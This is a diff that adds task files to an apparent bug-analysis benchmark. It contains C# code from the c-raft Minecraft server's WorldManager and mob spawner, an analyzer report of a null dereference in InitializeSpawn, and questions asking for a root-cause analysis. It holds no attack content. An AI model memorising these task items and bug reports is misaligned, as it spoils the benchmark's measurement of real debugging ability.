+            Debug.Assert(!PendingChunks.TryGetValue(coords.ChunkPackedCoords, out entry), "ENTRY INITIALIZED AND STILL LISTED");
+            
+            return chunk;            
+        }
+
+        private void NotifyChunkToClients(ChunkEntry entry)
+        {
+            int notifyState = Interlocked.CompareExchange(ref entry.NotifyStatus, ChunkEntry.Notified,
+                                                          ChunkEntry.NotNotified);
+
+            if (notifyState == ChunkEntry.Notified || entry.Requests.IsEmpty)
+                return;
+
+            Task.Factory.StartNew(() =>
+            {
+                Parallel.For(0, entry.Requests.Count, (i) =>
+                {
+                    ClientRequest req;
+
+                    if (!entry.Requests.TryDequeue(out req))
+                        return;
+
+                    if (entry.ChunkRequested.LightToRecalculate)
+                        entry.ChunkRequested.RecalculateSky();
+
+                    req.ClientRequesting.Owner.LoadedChunks.TryUpdate(entry.ChunkRequested.Coords.ChunkPackedCoords,
+                                                                      entry.ChunkRequested, null);
+                    entry.ChunkRequested.AddClient(req.ClientRequesting);
+                    req.ClientRequesting.SendPreChunk(entry.ChunkRequested.Coords.ChunkX, entry.ChunkRequested.Coords.ChunkZ, true, false);
+                    req.ClientRequesting.SendChunk(entry.ChunkRequested, false);
+                });
+            });
+        }
+
+        private void InitializeThreads()
+        {
+            Running = true;
+            _globalTick = new Timer(GlobalTickProc, null, 50, 50);
+        }
+
+        private void InitializeSpawn()
+        {
+            Logger.LogOnOneLine(Logger.LogLevel.Info, "Initializing spawn area...", true);
+            Spawn = UniversalCoords.FromWorld(Settings.Default.SpawnX, Settings.Default.SpawnY, Settings.Default.SpawnZ);
+
+            Queue<Chunk> toRecalculate = new Queue<Chunk>();           
+            Chunk chunk = GetChunkFromWorld(Spawn.WorldX, Spawn.WorldZ, true, true);
+            chunk.Persistent = true;
+            toRecalculate.Enqueue(chunk);
+
+            Spawn = UniversalCoords.FromWorld(Spawn.WorldX, chunk.HeightMap[Spawn.WorldX, Spawn.WorldZ] + 4, Spawn.WorldZ);
+
+            int chunkX = Spawn.ChunkX;
+            int chunkZ = Spawn.ChunkZ;
+
+            
+            for(int x = chunkX - 4; x < chunkX + 4; ++x)
+            {
+                for(int z = chunkZ - 4; z < chunkZ + 4; ++z)
+                {
+                    if(x == chunkX && z == chunkZ)
+                        continue;
+
+                    chunk = GetChunkFromChunkSync(x, z, true, true);
+                    chunk.Persistent = true;
+                    toRecalculate.Enqueue(chunk);
+                }
+            }
+
+            while(toRecalculate.Count > 0)
+            {
+                chunk = toRecalculate.Dequeue();
+
+                if (chunk.LightToRecalculate)
+                    chunk.RecalculateSky();
+
+                AddChunk(chunk);
+            }
+
+            Logger.LogOnOneLine(Logger.LogLevel.Info, " Done\n", false);
+        }
+
+        private void CollectProc()
+        {
+            CheckAliveClients();
+            Chunk[] chunks = GetChunks();
+            foreach (Chunk c in chunks)
+            {
+                if (c.Persistent)
+                    continue;
+                if (c.GetClients().Length > 0 || (DateTime.Now - c.CreationDate) < TimeSpan.FromSeconds(20.0))
+                    continue;
+
+                c.Save();
+                Chunks.Remove(c);
+            }
+        }
+
+        public void CheckAliveClients()
+        {
+            Parallel.ForEach(Server.GetClients(), c => c.CheckAlive());
+        }
+
+        private void FullSave()
+        {
+            // Wait until the task has been canceled
+            _saveTask.Wait();
+
+            int count = ChunksToSave.Count;
+            _saveTask = Task.Factory.StartNew(() => SaveProc(count, CancellationToken.None));
+            NeedsFullSave = false;
+            FullSaving = false;
+        }
+
+        private void SaveProc(int chunkToSave, CancellationToken token)
+        {
+            if (token.IsCancellationRequested)
+                return;
+
+            int count = ChunksToSave.Count;
+
+            if (count > chunkToSave)
+                count = chunkToSave;
+
+            for (int i = 0; i < count && Running && !token.IsCancellationRequested; ++i)
+            {
+                ChunkBase chunk;
+                ChunksToSave.TryDequeue(out chunk);
+
+                if (chunk == null)
+                    continue;
+
+                /* Better to "signal" that the chunk can be queued again before saving, 
+                 * we don't know which signaled changes will be saved during the save */
+                Interlocked.Exchange(ref chunk.ChangesToSave, 0);
+
+                chunk.Save();
+                
+            }
+        }
+
+        private void EnsureDirectory()
+        {
+            if (!Directory.Exists(Settings.Default.WorldsFolder))
+                Directory.CreateDirectory(Settings.Default.WorldsFolder);
+            if (!Directory.Exists(Folder))
+                Directory.CreateDirectory(Folder);
+        }
+
+        public static int LightUpdateCounter;
+
+        private void GlobalTickProc(object state)
+        {
+            // Increment the world tick count
+            Interlocked.Increment(ref _worldTicks);
+
+            int time = Interlocked.Increment(ref _time);
+
+            if (time == 24000)
+            {	// A day has passed.
+                // MUST interface directly with _Time to bypass the write lock, which we hold.
+                _time = 0;
+            }
+
+            // Using this.WorldTick here as it is independant of this.Time. "this.Time" can be changed outside of the WorldManager.
+            if (WorldTicks % 10 == 0)
+            {
+                // Triggered once every half second
+                Task.Factory.StartNew(Server.DoPulse);
+            }
+
+            if (NeedsFullSave)
+            {
+                FullSaving = true;
+                if(_saveTask != null && !_saveTask.IsCompleted)
+                    _saveToken.Cancel();
+
+                Task.Factory.StartNew(FullSave);
+            }
+            else if(WorldTicks % 20 == 0 && !FullSaving && ChunksToSave.Count > 0)
+            {
+                if(_saveTask == null || _saveTask.IsCompleted)
+                {
+                    _saveToken = new CancellationTokenSource();
+                    var token = _saveToken.Token;
+                    _saveTask = Task.Factory.StartNew(() => SaveProc(20, token), token);
+                }
+            }
+           
+            // Every 5 seconds
+            if(WorldTicks % 100 == 0)
+            {
+                if(_collectTask == null || _collectTask.IsCompleted)
+                {
+                    _collectTask = Task.Factory.StartNew(CollectProc);
+                }
+            }
+
+            // Every 10 seconds
+            if (WorldTicks % 200 == 0)
+            {
+                if (_growStuffTask == null || _growStuffTask.IsCompleted)
+                {
+                    _growStuffTask = Task.Factory.StartNew(GrowProc);
+                }
+            }
+   
+            // Every Tick (50ms)
+            if (_physicsSimulationTask == null || _physicsSimulationTask.IsCompleted)
+            {
+                _physicsSimulationTask = Task.Factory.StartNew(PhysicsProc);
+            }
+
+            if (_entityUpdateTask == null || _entityUpdateTask.IsCompleted)
+            {
+                _entityUpdateTask = Task.Factory.StartNew(EntityProc);
+            }
+
+            // Every 2 Ticks (100ms)
+            if (WorldTicks % 2 == 0)
+            {
+                if (_mobSpawnerTask == null || _mobSpawnerTask.IsCompleted)
+                {
+                    _mobSpawnerTask = Task.Factory.StartNew(MobSpawnerProc);
+                }
+            }
+
+#if PROFILE
+            // Must wait at least one second between calls to perf counter
+            if (WorldTicks % 20 == 0)
+            {
+                if(_profile == null || _profile.IsCompleted)
+                {
+                    _profile = Task.Factory.StartNew(Profile);
+                }
+            }
+#endif
+        }
+        
+#if PROFILE
+        private void Profile()
+        {
+            if (Server.ProfileStartTime == DateTime.MinValue)
+                Server.ProfileStartTime = DateTime.Now;
+
+            using (StreamWriter writer = new StreamWriter("cpu.csv", true))
+            {
+                writer.WriteLine("{0};{1}", (DateTime.Now - Server.ProfileStartTime).TotalSeconds, Server.CpuPerfCounter.NextValue() / Environment.ProcessorCount);
+            }
+        }
+#endif
+
+        public void Dispose()
+        {
+            this.Running = false;
+            this._globalTick.Change(Timeout.Infinite, Timeout.Infinite);
+        }
+
+        public byte GetBlockOrLoad(int x, int y, int z)
+        {
+            return GetChunkFromWorld(x, z, true, true)[x & 0xf, y, z & 0xf];
+        }
+
+        public Chunk[] GetChunks()
+        {
+            int changes = Interlocked.Exchange(ref Chunks.Changes, 0);
+            if(_chunksCache == null || changes > 0)
+                _chunksCache = Chunks.Values.ToArray();
+
+            return _chunksCache;
+        }
+
+        private void GrowProc()
+        {
+            foreach (Chunk c in GetChunks())
+            {
+                c.Grow();
+            }
+        }
+
+        private void PhysicsProc()
+        {
+            foreach (var physicsBlock in PhysicsBlocks)
+            {
+                physicsBlock.Value.Simulate();
+            }
+        }
+  
+        private void EntityProc()
+        {
+            Parallel.ForEach(Server.GetEntities().Where((entity) => entity.World == this), (e) =>
+            {
+                e.Update();
+            });
+        }
+        
+        private void MobSpawnerProc()
+        {
+            WorldMobSpawner.SpawnMobs(this, true, this.WorldTicks % 400 == 0);
+        }
+  
+        /// <summary>
+        /// Yields each <see cref="StructBlock"/> found within the bounds of a <see cref="BoundingBox"/>
+        /// </summary>
+        /// <param name="boundingBox"></param>
+        /// <returns></returns>
+        public IEnumerable<StructBlock> GetBlocksInBoundingBox(BoundingBox boundingBox)
+        {
+            UniversalCoords minimum =
+                UniversalCoords.FromAbsWorld(
+                    boundingBox.Minimum.X < 0.0 ? boundingBox.Minimum.X - 1.0 : boundingBox.Minimum.X,
+                    boundingBox.Minimum.Y < 0.0 ? boundingBox.Minimum.Y - 1.0 : boundingBox.Minimum.Y,
+                    boundingBox.Minimum.Z < 0.0 ? boundingBox.Minimum.Z - 1.0 : boundingBox.Minimum.Z);
+            UniversalCoords maximum = UniversalCoords.FromAbsWorld(boundingBox.Maximum.X + 1.0,
+                                                                   boundingBox.Maximum.Y + 1.0,
+                                                                   boundingBox.Maximum.Z + 1.0);
+
+            return GetBlocksBetweenCoords(minimum, maximum);
+        }
+
+        /// <summary>
+        /// Yields each <see cref="StructBlock"/> found between two coordinates
+        /// </summary>
+        /// <param name="minimum">Start here</param>
+        /// <param name="maximum">Stop here</param>
+        /// <returns>Yields a <see cref="StructBlock"/> for each coordinate between minimum and maximum</returns>
+        public IEnumerable<StructBlock> GetBlocksBetweenCoords(UniversalCoords minimum, UniversalCoords maximum)
+        {
+            if (minimum.WorldX >= maximum.WorldX || minimum.WorldY >= maximum.WorldY || minimum.WorldZ >= maximum.WorldZ)
+                throw new ArgumentOutOfRangeException("minimum", "minimum X, Y and Z must be less than maximum X, Y and Z");
+
+            for (int x = minimum.WorldX; x < maximum.WorldX; x++)
+            {
+                for (int y = minimum.WorldY; y < maximum.WorldY; y++)
+                {
+                    for (int z = minimum.WorldZ; z < maximum.WorldZ; z++)
+                    {
+                        yield return this.GetBlock(x, y, z);
+                    }
+                }
+            }
+        }
+
+        public StructBlock GetBlock(UniversalCoords coords)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if(chunk == null)
+                return StructBlock.Empty;
+
+            byte blockId = (byte)chunk.GetType(coords);
+            byte blockData = chunk.GetData(coords);
+
+            return new StructBlock(coords, blockId, blockData, this);
+        }
+
+        public StructBlock GetBlock(int worldX, int worldY, int worldZ)
+        {
+            Chunk chunk = GetChunkFromWorld(worldX, worldZ);
+
+            if (chunk == null)
+                return StructBlock.Empty;
+
+            byte blockId = (byte)chunk.GetType(worldX & 0xF, worldY, worldZ & 0xF);
+            byte blockData = chunk.GetData(worldX & 0xF, worldY, worldZ & 0xF);
+
+            return new StructBlock(worldX, worldY, worldZ, blockId, blockData, this);
+        }
+                                                            
+        public byte? GetBlockId(UniversalCoords coords)
+        {
+            Chunk chunk = Chunks[coords];
+
+            if (chunk != null)
+                return chunk[coords];
+
+            return null;
+        }
+
+        public byte? GetBlockId(int worldX, int worldY, int worldZ)
+        {
+            Chunk chunk = Chunks[worldX >> 4, worldZ >> 4];
+
+            if (chunk != null)
+                return chunk[worldX & 0xF, worldY, worldZ & 0xF];
+
+            return null;
+        }
+
+        public byte? GetBlockData(UniversalCoords coords)
+        {
+            Chunk chunk = Chunks[coords];
+            if (chunk != null)
+                return chunk.GetData(coords);
+
+            return null;
+        }
+
+        public byte? GetBlockData(int worldX, int worldY, int worldZ)
+        {
+            Chunk chunk = Chunks[worldX >> 4, worldZ >> 4];
+            if (chunk != null)
+                return chunk.GetData(worldX & 0xF, worldY, worldZ & 0xF);
+            
+            return null;
+        }
+
+        public double GetBlockLightBrightness(UniversalCoords coords)
+        {
+            byte? effectiveLight = GetEffectiveLight(coords);
+            if(effectiveLight == null)
+                return 0.0;
+
+            return _lightBrightnessTable[(byte)effectiveLight];        
+        }       
+ 
+        public byte? GetFullBlockLight(UniversalCoords coords)
+        {
+            Chunk chunk = GetChunk(coords, false, false);
+
+            if (chunk == null)
+                return null;
+                      
+            return Math.Max(chunk.GetSkyLight(coords), chunk.GetBlockLight(coords));        
+        }
+
+        /// <summary>
+        /// Get the Effective light at a coordinate
+        /// </summary>
+        /// <param name="coords"></param>
+        /// <returns></returns>
+        public byte? GetEffectiveLight(UniversalCoords coords)        
+        {            
+            // TODO: this needs to return the effective light for a block, taking into consideration the time of day etc... see calculateSkylightSubtracted and getBlockLightValue_do                        
+            return GetFullBlockLight(coords); // THIS HAS TO BE REMOVED AND CHANGED TO PROPER TIME CALCULATION TOO        
+        }        
+        
+        public byte? GetBlockLight(UniversalCoords coords)        
+        {
+            Chunk chunk = Chunks[coords];
+            if (chunk != null)
+                return chunk.GetBlockLight(coords);
+
+            return null;
+        }
+
+        public byte? GetBlockLight(int worldX, int worldY, int worldZ)
+        {
+            Chunk chunk = Chunks[worldX >> 4, worldZ >> 4];
+            if (chunk != null)
+                return chunk.GetBlockLight(worldX & 0xF, worldY, worldZ & 0xF);
+
+            return null;
+        }
+
+        public byte? GetSkyLight(UniversalCoords coords)
+        {
+            Chunk chunk = Chunks[coords];
+            if (chunk != null)
+                return chunk.GetSkyLight(coords);
+
+            return null;
+        }
+
+        public byte? GetSkyLight(int worldX, int worldY, int worldZ)
+        {
+            Chunk chunk = Chunks[worldX >> 4, worldZ >> 4];
+            if (chunk != null)
+                return chunk.GetSkyLight(worldX & 0xF, worldY, worldZ & 0xF);
+
+            return null;
+        }
+  
+        public IEnumerable<EntityBase> GetEntities()
+        {
+            return Server.GetEntities().Where((e) => e != null && e.World == this);
+        }
+
+        public Player GetClosestPlayer(AbsWorldCoords coords, double radius)
+        {
+            var radiusSqrd = radius * radius;
+            Vector3 coordVector = coords.ToVector();
+            return (from c in Server.GetAuthenticatedClients().Where(client => client.Owner.World == this)
+                    let distance = coordVector.DistanceSquared(c.Owner.Position.ToVector())
+                    where distance <= radiusSqrd
+                    orderby distance
+                    select c.Owner).FirstOrDefault();
+        }
+
+        private RayTraceHitBlock DoRayTraceBlock(UniversalCoords coords, Vector3 rayStart, Vector3 rayEnd)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if (chunk == null)
+                return null;
+
+            byte blockType = (byte)chunk.GetType(coords); // only get the block type first to save time
+            if (blockType > 0)
+            {
+                byte blockData = chunk.GetData(coords);
+
+                StructBlock block = new StructBlock(coords, (byte)blockType, (byte)blockData, this);
+                BlockBase blockClass = BlockHelper.Instance(block.Type);
+                RayTraceHitBlock blockRayTrace = blockClass.RayTraceIntersection(block, rayStart, rayEnd);
+                if (blockRayTrace != null)
+                {
+                    return blockRayTrace;
+                }
+            }
+            return null;
+        }
+  
+        /// <summary>
+        /// Ray traces the blocks along the ray. This method takes approx 0.1ms per 50-60 metres.
+        /// </summary>
+        /// <returns>
+        /// The first block hit
+        /// </returns>
+        /// <param name='rayStart'>
+        /// Ray start.
+        /// </param>
+        /// <param name='rayEnd'>
+        /// Ray end.
+        /// </param>
+        public RayTraceHitBlock RayTraceBlocks(AbsWorldCoords rayStart, AbsWorldCoords rayEnd)
+        {
+            UniversalCoords startCoord = UniversalCoords.FromAbsWorld(rayStart);
+            UniversalCoords endCoord = UniversalCoords.FromAbsWorld(rayEnd);
+            
+            UniversalCoords previousPoint;
+            UniversalCoords currentPoint = startCoord;
+            
+            Vector3 rayStartVec = rayStart.ToVector();
+            Vector3 rayEndVec = rayEnd.ToVector();
+            
+            Vector3 stepVector = (rayEndVec - rayStartVec).Normalize();
+            
+            bool xDirectionPositive = stepVector.X > 0;
+            bool yDirectionPositive = stepVector.Y > 0;
+            bool zDirectionPositive = stepVector.Z > 0;
+            
+            Vector3 currentVec = rayStartVec;
+            previousPoint = currentPoint;
+            
+            RayTraceHitBlock blockTrace = null;
+            int blockCheckCount = 0;
+            try
+            {
+                // Step along the ray looking for block collisions
+                while (true)
+                {
+                    #region Check adjacent blocks if necessary (to prevent skipping over the corner of one)
+                    bool xChanged = currentPoint.WorldX - previousPoint.WorldX != 0;
+                    bool yChanged = currentPoint.WorldY - previousPoint.WorldY != 0;
+                    bool zChanged = currentPoint.WorldZ - previousPoint.WorldZ != 0;
+                    
+                    // When we change a coord, need to check which adjacent block also needs to be checked (to prevent missing blocks when jumping over their corners)
+                    if (xChanged && yChanged && zChanged)
+                    {
+                        // -X,Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(previousPoint.WorldX, currentPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,-Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, previousPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,Y,-Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, currentPoint.WorldY, previousPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        
+                        // -X,Y,-Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(previousPoint.WorldX, currentPoint.WorldY, previousPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // -X,-Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(previousPoint.WorldX, previousPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,-Y,-Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, previousPoint.WorldY, previousPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                    }
+                    else if (xChanged && zChanged)
+                    {
+                        // -X,Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(previousPoint.WorldX, currentPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,Y,-Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, currentPoint.WorldY, previousPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                    }
+                    else if (xChanged && yChanged)
+                    {
+                        // -X,Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(previousPoint.WorldX, currentPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,-Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, previousPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                    }
+                    else if (zChanged && yChanged)
+                    {
+                        // X,Y,-Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, currentPoint.WorldY, previousPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                        // X,-Y,Z
+                        blockCheckCount++;
+                        blockTrace = DoRayTraceBlock(UniversalCoords.FromWorld(currentPoint.WorldX, previousPoint.WorldY, currentPoint.WorldZ), rayStartVec, rayEndVec);
+                        if (blockTrace != null)
+                            return blockTrace;
+                    }
+                    #endregion
+                    
+                    // Check the currentPoint
+                    blockCheckCount++;
+                    blockTrace = DoRayTraceBlock(currentPoint, rayStartVec, rayEndVec);
+                    if (blockTrace != null)
+                        return blockTrace;
+                    
+                    if (currentPoint == endCoord)
+                    {
+                        //Console.WriteLine("Reach endCoord with no hits");
+                        break;
+                    }
+                    
+                    #region Get the next coordinate
+                    previousPoint = currentPoint;
+                    do
+                    {
+                        currentVec += stepVector;
+                        currentPoint = UniversalCoords.FromAbsWorld(currentVec.X, currentVec.Y, currentVec.Z);
+                    } while(previousPoint == currentPoint);
+                    
+                    // check we haven't gone past the endCoord
+                    if ((xDirectionPositive && currentPoint.WorldX > endCoord.WorldX) || (!xDirectionPositive && currentPoint.WorldX < endCoord.WorldX) ||
+                        (yDirectionPositive && currentPoint.WorldY > endCoord.WorldY) || (!yDirectionPositive && currentPoint.WorldY < endCoord.WorldY) ||
+                        (zDirectionPositive && currentPoint.WorldZ > endCoord.WorldZ) || (!zDirectionPositive && currentPoint.WorldZ < endCoord.WorldZ))
+                    {
+                        //Console.WriteLine("Went past endCoord: {0}, {1}", startCoord, endCoord);
+                        break;
+                    }
+                    #endregion
+                }
+            }
+            finally
+            {
+                //Console.WriteLine("Block check count {0}", blockCheckCount);
+            }
+            return null;
+        }
+                    
+        public long GetSeed()
+        {
+            return Settings.Default.WorldSeed.GetHashCode();
+        }
+
+        public void SetBlockAndData(UniversalCoords coords, byte type, byte data, bool needsUpdate = true)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if(chunk == null)
+                return;
+
+            chunk.SetType(coords, (BlockData.Blocks)type, false);
+            chunk.SetData(coords, data, false);
+
+            if(needsUpdate)
+                chunk.BlockNeedsUpdate(coords.BlockX, coords.BlockY, coords.BlockZ);
+        }
+
+        public void SetBlockAndData(int worldX, int worldY, int worldZ, byte type, byte data, bool needsUpdate = true)
+        {
+            Chunk chunk = GetChunkFromWorld(worldX, worldZ);
+
+            if (chunk == null)
+                return;
+
+            chunk.SetType(worldX & 0xF, worldY, worldZ & 0xF, (BlockData.Blocks)type, false);
+            chunk.SetData(worldX & 0xF, worldY, worldZ & 0xF, data, false);
+
+            if (needsUpdate)
+                chunk.BlockNeedsUpdate(worldX & 0xF, worldY, worldZ & 0xF);
+        }
+
+        public void SetBlockData(UniversalCoords coords, byte data, bool needsUpdate = true)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if(chunk != null)
+                chunk.SetData(coords, data, needsUpdate);
+        }
+
+        public void SetBlockData(int worldX, int worldY, int worldZ, byte data, bool needsUpdate = true)
+        {
+            Chunk chunk = GetChunkFromWorld(worldX, worldZ);
+
+            if(chunk != null)
+                chunk.SetData(worldX & 0xF, worldY, worldZ & 0xF, data, needsUpdate);
+        }
+
+        public bool ChunkExists(UniversalCoords coords)
+        {
+            return (Chunks[coords] != null);
+        }
+
+        public bool ChunkExists(int chunkX, int chunkZ)
+        {
+            return (Chunks[chunkX, chunkZ] != null);
+        }
+
+        public void RemoveChunk(Chunk c)
+        {
+            Chunks.Remove(c);
+        }
+
+        internal void Update(UniversalCoords coords, bool updateClients = true)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if (chunk == null)
+                return;
+
+            if (updateClients)
+                chunk.BlockNeedsUpdate(coords.BlockX, coords.BlockY, coords.BlockZ);
+
+            UpdatePhysics(coords);
+            chunk.ForAdjacent(coords, uc => UpdatePhysics(uc));
+        }
+
+        private void UpdatePhysics(UniversalCoords coords, bool updateClients = true)
+        {
+            Chunk chunk = GetChunk(coords);
+
+            if (chunk == null)
+                return;
+
+            BlockData.Blocks type = chunk.GetType(coords);
+            UniversalCoords oneDown = UniversalCoords.FromWorld(coords.WorldX, coords.WorldY - 1, coords.WorldZ);        
+
+            if (type == BlockData.Blocks.Water)
+            {
+                byte water = 8;
+                chunk.ForNSEW(coords, delegate(UniversalCoords uc)
+                {
+                    Chunk nearbyChunk = GetChunk(uc);
+
+                    if (nearbyChunk == null)
+                        return;
+
+                    BlockData.Blocks blockId = nearbyChunk.GetType(uc);
+                    byte blockData;
+                    if (blockId == BlockData.Blocks.Still_Water)
+                        water = 0;
+                    else if (blockId == BlockData.Blocks.Water && (blockData = nearbyChunk.GetData(uc)) < water)
+                        water = (byte)(blockData + 1);
+                });
+
+                if (water != chunk.GetData(coords))
+                {
+                    if (water == 8)
+                        chunk.SetBlockAndData(coords, 0, 0);
+                    else
+                        chunk.SetBlockAndData(coords, (byte)BlockData.Blocks.Water, water);
+                    //Update(x, y, z, updateClients);
+                    return;
+                }
+            }
+
+            if (type == BlockData.Blocks.Air)
+            {
+                UniversalCoords oneUp = UniversalCoords.FromWorld(coords.WorldX, coords.WorldY + 1, coords.WorldZ);
+                BlockData.Blocks blockIdOneUp = chunk.GetType(oneUp);
+                if (coords.WorldY < 127 && (blockIdOneUp == BlockData.Blocks.Water || blockIdOneUp == BlockData.Blocks.Still_Water))
+                {
+                    chunk.SetBlockAndData(coords, (byte)BlockData.Blocks.Water, 0);
+                    //Update(x, y, z, updateClients);
+                    return;
+                }
+
+                if (coords.WorldY < 127 && (blockIdOneUp == BlockData.Blocks.Lava || blockIdOneUp == BlockData.Blocks.Still_Lava))
+                {
+                    chunk.SetBlockAndData(coords, (byte)BlockData.Blocks.Lava, 0);
+                    //Update(x, y, z, updateClients);
+                    return;
+                }
+
+                byte water = 8;
+
+                chunk.ForNSEW(coords, delegate(UniversalCoords uc)
+                {
+                    Chunk nearbyChunk = GetChunk(uc);
+
+                    if (nearbyChunk == null)
+                        return;
+
+                    BlockData.Blocks blockId = nearbyChunk.GetType(uc);
+                    byte blockData;
+
+                    if (blockId == BlockData.Blocks.Still_Water)
+                        water = 0;
+                    else if (blockId == BlockData.Blocks.Water && (blockData = nearbyChunk.GetData(uc)) < water)
+                        water = (byte)(blockData + 1);
+                });
+                if (water < 8)
+                {
+                    chunk.SetBlockAndData(coords, (byte)BlockData.Blocks.Water, water);
+                    //Update(x, y, z, updateClients);
+                    return;
+                }
+
+                byte lava = 8;
+                chunk.ForNSEW(coords, delegate(UniversalCoords uc)
+                {
+                    Chunk nearbyChunk = GetChunk(uc);
+
+                    if (nearbyChunk == null)
+                        return;
+
+                    BlockData.Blocks blockId = nearbyChunk.GetType(uc);
+                    byte blockData;
+
+                    if (blockId == BlockData.Blocks.Still_Lava)
+                        lava = 0;
+                    else if (blockId == BlockData.Blocks.Lava && (blockData = nearbyChunk.GetData(uc)) < lava)
+                        lava = (byte)(blockData + 1);
+                });
+                if (water < 4)
+                {
+                    chunk.SetBlockAndData(coords, (byte)BlockData.Blocks.Lava, lava);
+                    //Update(x, y, z, updateClients);
+                    return;
+                }
+            }
+        }
+
+        internal UniversalCoords FromFace(UniversalCoords coords, BlockFace blockFace)
+        {
+            int bx = coords.WorldX;
+            int by = coords.WorldY;
+            int bz = coords.WorldZ;
+
+            switch (blockFace)
+            {
+                case BlockFace.Self:
+                    break;
+
+                case BlockFace.Up:
+                    by++;
+                    break;
+
+                case BlockFace.Down:
+                    by--;
+                    break;
+
+                case BlockFace.North:
+                    bx--;
+                    break;
+
+                case BlockFace.South:
+                    bx++;
+                    break;
+
+                case BlockFace.East:
+                    bz--;
+                    break;
+
+                case BlockFace.West:
+                    bz++;
+                    break;
+
+                case BlockFace.NorthEast:
+                    bx--;
+                    bz--;
+                    break;
+
+                case BlockFace.NorthWest:
+                    bx--;
+                    bz++;
+                    break;
+
+                case BlockFace.SouthEast:
+                    bx++;
+                    bz--;
+                    break;
+
+                case BlockFace.SouthWest:
+                    bx++;
+                    bz++;
+                    break;
+            }
+
+            return UniversalCoords.FromWorld(bx, by, bz);
+        }
+    }
+}
+
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `chunk` last assigned on line 436 could be null and is dereferenced at line 437, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void WorldManager.InitializeSpawn()
+
+### File:
+Chraft/World/WorldManager.cs
+
+### Key:
+WorldManager.cs|InitializeSpawn|NULL_DEREFERENCE
+
+### Node Key:
+b34ba4f9627ab82a4c31e4bc155b159b
+
+### Hash:
+8cc37a103595615afffddd6c1c5c9ca5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2694/instruction.md b/inferredbugs-2694/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b213eaf5c51b746651808458cf61a33ae1defd2b
--- /dev/null
+++ b/inferredbugs-2694/instruction.md
@@ -0,0 +1,254 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** c-raft
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Chraft.Utils;
+using Chraft.Entity;
+using Chraft.World.Blocks;
+
+namespace Chraft.World
+{
+    public static class WorldMobSpawner
+    {
+        private const int MaxSpawnDistance = 8;
+
+        // TODO: Types of mobs and total number that can spawn should be controlled by the Biome not hard coded here (see #128)
+        private static readonly List<WeightedValue<MobType>> Monsters = new List<WeightedValue<MobType>>
+                                                {
+                                                    WeightedValue.Create(10, MobType.Creeper),
+                                                    WeightedValue.Create(10, MobType.CaveSpider),
+                                                    WeightedValue.Create(10, MobType.Skeleton),
+                                                    WeightedValue.Create(10, MobType.Zombie),
+                                                    WeightedValue.Create(2, MobType.Enderman),
+                                                };
+        private const int MaxMonsters = 70;
+
+        private static readonly List<WeightedValue<MobType>> Creatures = new List<WeightedValue<MobType>>
+                                                 {
+                                                     WeightedValue.Create(12, MobType.Sheep),
